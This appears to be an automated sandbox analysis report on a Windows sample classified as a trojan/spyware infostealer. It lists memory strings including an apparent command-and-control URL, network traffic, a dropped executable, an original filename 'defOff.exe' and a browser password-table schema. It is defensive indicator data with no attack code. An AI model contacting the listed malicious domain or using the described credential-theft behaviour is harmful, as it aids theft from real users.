Source: file.exe, 00000000.00000003.2737717306.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://crisiwarny.store:443/api
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4
Source: file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2737642194.00000000055EB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2560437569.00000000055E7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2676736027.00000000055EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000003.2560419400.00000000055ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2103566026.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005588000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103364703.000000000558B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000003.2360145886.0000000005878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.5:49763 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name:
Source: V5GJ8YFILNHAP99OFNDK6O9IE.exe.0.dr	Static PE information: section name: .idata

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_010187F0	0_3_010187F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00FE81A9	0_3_00FE81A9
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00DA5966	4_2_00DA5966
Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe	Code function: 4_2_00F23F65	4_2_00F23F65

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe A1B51F0DCC34F28AF651152B4A9A2FE4BA536FFAED6114BA46FDE1EFCA075C97

Source: file.exe, 00000000.00000003.2734843892.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2745942977.0000000005B8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2752509554.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2720980364.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2741066595.0000000000DCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2743153845.0000000005968000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2744576024.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2734007061.0000000000DCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2751829016.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2748065886.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2753394030.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2744445951.0000000000DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2733191953.0000000000DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2738909444.0000000000DCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2741507288.0000000000DC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2748244787.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2739108826.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721613363.0000000000DCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2754420580.0000000005ACC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721221532.0000000005970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2749686323.0000000005970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2736509103.000000000103A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721929945.0000000000DCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2758669368.0000000005965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2745778705.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2741885162.0000000000DC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2740908738.0000000005968000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2740390103.0000000000DC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721745850.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2739634993.0000000000DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2757087498.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2749926495.0000000005AA2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2750611715.0000000005962000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2747004116.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2747544893.000000000596B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2732787953.0000000000DC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2740529323.0000000005970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2737836293.0000000005966000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2732299790.0000000000DCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2732426818.000000000596E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721099133.0000000000DCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2743803686.0000000000DC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2747713984.0000000005A9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2720858884.0000000000DC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2744280055.0000000005966000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2745601545.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2743966659.0000000005967000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2741708010.0000000005969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2745104389.0000000005A81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2738735085.000000000596B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2756711596.0000000005C2B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2722058823.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2747188809.0000000005A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2737966851.0000000000DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2742149444.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2734662359.0000000000DCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2732075331.0000000000DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721487778.0000000005966000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2752932658.0000000005C0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2752310541.0000000005AB7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2731856031.0000000000DC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2733587160.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2748778902.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2746331655.0000000005A91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2748595479.0000000005BCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2749263303.0000000005968000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2736612020.00000000055E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2746135103.0000000005967000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2721356490.0000000000DD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2739765103.000000000596B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2750856384.0000000005AAB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2752175637.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2744154928.0000000000DC5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2731953922.0000000005968000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2747877951.000000000596E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2751325681.0000000005967000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2752006580.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2749465817.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2732180144.0000000005968000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2740245975.000000000596D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2744953995.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2738421389.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2751663853.0000000005ABB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2740004075.0000000000DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2739275686.0000000000DC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2747373140.0000000005BAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2739424809.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2722302964.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2741306383.0000000005969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2748421061.0000000005A9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2743354452.0000000000DCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2740690590.0000000000DC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2737057161.0000000000DCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2752726651.0000000005AB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2732985799.000000000596D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2734535958.000000000596C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2745430098.0000000005A78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2745268378.0000000005965000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2753107078.000000000596F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2742933081.0000000000DC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2744744874.0000000000DC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2738580132.0000000000DC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2722174545.0000000000DC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2733304917.0000000005964000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2755645303.0000000005963000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2751070572.0000000005BF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2736290906.00000000055F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2743614777.000000000596A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2746558891.0000000005969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2756282414.0000000005AC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2733469366.0000000000DCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2750375727.0000000005BF0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2753908188.0000000005969000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2754757526.0000000005C30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2748997486.0000000005AA3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2757593268.0000000005ADC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2720707679.0000000005652000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2736454418.0000000005575000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2746745136.0000000005A8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: ZLIB complexity 0.9980407523510971

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/2@2/2

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\V5GJ8YFILNHAP99OFNDK6O9IE.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\V5GJ8YFILNHAP99OFNDK6O9IE.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2103201359.0000000005576000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103433624.0000000005557000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342359994.0000000005555000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
